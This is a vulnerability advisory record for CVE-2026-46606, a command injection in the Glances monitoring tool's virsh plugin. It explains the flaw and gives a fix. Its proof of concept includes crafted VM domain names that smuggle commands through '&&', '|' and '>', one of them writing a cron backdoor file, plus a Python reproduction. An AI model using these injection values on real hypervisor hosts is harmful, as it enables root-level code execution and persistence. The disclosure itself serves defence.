id: PYSEC-2026-2497 published: "2026-07-13T15:46:22.772744Z" modified: "2026-07-13T16:04:09.233764Z" aliases: - CVE-2026-46606 - GHSA-v5r2-qh84-fjx5 summary: Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py details: "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `&&`, `|`, and `>` as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185 (update_stats)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')\n\n# line 204 (update_title)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`. It explicitly splits the command string on `&&`, `|`, and `>` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n ret = ''\n for c in cmd.split('&&'): # '&&' → two separate processes\n ret += __secure_popen(c)\n return ret\n\ndef __secure_popen(cmd):\n for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped\n p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n # '>' is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`. The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `&&` | Second command executes after the virsh call | Yes |\n| `\\|` | Output of virsh piped to injected command | Yes |\n| `>` | virsh output redirected to arbitrary file | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 — Create a VM with a crafted domain name**\n\nUsing the `&&` operator to chain a second command:\n\n```xml\n\n productionDB && touch /tmp/glances_pwned\n 131072\n 1\n hvm\n\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 — Start Glances with KVM monitoring enabled**\n\n```bash\nglances # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB && touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 — Verify execution**\n\n```bash\nls -la /tmp/glances_pwned # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`>`) example**\n\nDomain name: `\"productionDB > /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances') # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = 'productionDB && id'\nresult = secure_popen(f'/bin/echo domstats --nowait {domain}')\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full — file-write injection (`>`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic:\n\n```python\n# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n [VIRSH_PATH, 'domstats', '--nowait', domain],\n stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `&&`, `|`, `>`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---" affected: - package: name: glances ecosystem: PyPI purl: pkg:pypi/glances ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 4.5.5 versions: - 1.3.1 - 1.3.2 - 1.3.3 - 1.3.4 - 1.3.5 - 1.3.6 - 1.3.7 - "1.4" - 1.4.1 - 1.4.1.1 - 1.4.2 - 1.4.2.1 - "1.5" - 1.5.1 - 1.5.2 - "1.6" - 1.6.1 - "1.7" - 1.7.1 - 1.7.2 - 1.7.3 - 1.7.4 - 1.7.5 - 1.7.6 - 1.7.7 - "2.0" - 2.0.1 - "2.1" - 2.1.1 - 2.1.2 - "2.10" - "2.11" - 2.11.1 - "2.2" - 2.2.1 - "2.3" - "2.4" - 2.4.1 - 2.4.2 - "2.5" - 2.5.1 - "2.6" - 2.6.1 - 2.6.2 - "2.7" - 2.7.1 - "2.8" - 2.8.1 - 2.8.2 - 2.8.3 - 2.8.4 - 2.8.5 - 2.8.6 - 2.8.7 - 2.8.8 - 2.9.0 - 2.9.1 - "3.0" - 3.0.1 - 3.0.2 - 3.1.0 - 3.1.1 - 3.1.2 - 3.1.3 - 3.1.4 - 3.1.4.1 - 3.1.5 - 3.1.6 - 3.1.6.1 - 3.1.6.2 - 3.1.7 - 3.2.0 - 3.2.1 - 3.2.2 - 3.2.3 - 3.2.3.1 - 3.2.4 - 3.2.4.1 - 3.2.4.2 - 3.2.5 - 3.2.6.1 - 3.2.6.2 - 3.2.6.3 - 3.2.6.4 - 3.2.7 - 3.3.0 - 3.3.0.1 - 3.3.0.2 - 3.3.0.3 - 3.3.0.4 - 3.3.1 - 3.3.1.1 - 3.4.0 - 3.4.0.1 - 3.4.0.2 - 3.4.0.3 - 3.4.0.4 - 3.4.0.5 - 4.0.1 - 4.0.2 - 4.0.3 - 4.0.4 - 4.0.5 - 4.0.6 - 4.0.7 - 4.0.8 - 4.1.0 - 4.1.1 - 4.1.2 - 4.2.0 - 4.2.1 - 4.3.0 - 4.3.0.1 - 4.3.0.3 - 4.3.0.4 - 4.3.0.5 - 4.3.0.6 - 4.3.0.7 - 4.3.0.8 - 4.3.1 - 4.3.2 - 4.3.3 - 4.4.0 - 4.4.1 - 4.5.0 - 4.5.0.1 - 4.5.0.2 - 4.5.0.3 - 4.5.0.4 - 4.5.0.5 - 4.5.1 - 4.5.2 - 4.5.3 - 4.5.4 references: - type: WEB url: https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5 - type: PACKAGE url: https://github.com/nicolargo/glances - type: WEB url: https://github.com/nicolargo/glances/releases/tag/v4.5.5 - type: PACKAGE url: https://pypi.org/project/glances - type: ADVISORY url: https://github.com/advisories/GHSA-v5r2-qh84-fjx5 - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-46606 severity: - type: CVSS_V3 score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H